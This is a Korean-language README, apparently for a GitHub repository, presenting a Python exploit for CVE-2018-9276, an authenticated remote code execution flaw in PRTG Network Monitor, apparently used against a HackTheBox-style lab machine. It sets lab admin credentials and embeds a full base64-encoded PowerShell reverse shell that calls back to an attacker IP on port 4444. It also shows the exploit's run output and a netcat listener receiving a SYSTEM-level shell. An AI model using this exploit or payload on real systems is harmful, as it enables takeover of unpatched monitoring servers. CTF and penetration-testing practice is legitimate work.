ac8999/prtg-network-monitor-18.2.38---authenticated-remote-code-execution-cve-2018-9276CVE: 2018-9276에 대한 Python 익스플로잇
기반: https://www.exploit-db.com/exploits/46527
사용법: 스크립트를 수동으로 편집하여 대상 URL, 관리자 사용자 이름 및 비밀번호를 다음과 같이 포함하세요:
TARGET = "http://10.129.15.52"
USER = "prtgadmin"
PASS = "PrTg@dmin2019"
그런 다음 110번째 줄에 원하는 명령어를 삽입하세요. revshells.com에서 base64로 인코딩된 리버스 셸을 넣어 리스너로 즉시 연결하는 것을 추천합니다.
참고: 스크립트에서 CMD 변수를 비워두었으므로 원하는 대로 사용자 지정할 수 있습니다.
CMD = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
플래그 없이 스크립트를 실행하기만 하면 리스너에 연결이 돌아올 것입니다.
┌──(root㉿user)-[/run/…/user/2024/HTBox/jerry]
└─# python3 CVE-2018-9276.py
[*] Attempting login as: prtgadmin
[+] Successfully logged in
[*] Creating malicious notification...
[+] Notification created. ID: 2019
[*] Triggering notification test...
[+] Payload queued successfully.
[*] Deleting notification 2019...
[+] Cleanup complete.
[*] Exploit cycle finished. Check target.
┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.93] from (UNKNOWN) [10.129.15.52] 50466
whoami
nt authority\system
PS C:\Windows\system32>
이 익스플로잇에 대한 파이썬 스크립트가 없다는 것을 확인하여 하나를 만들어 보는 것이 좋겠다고 생각했습니다.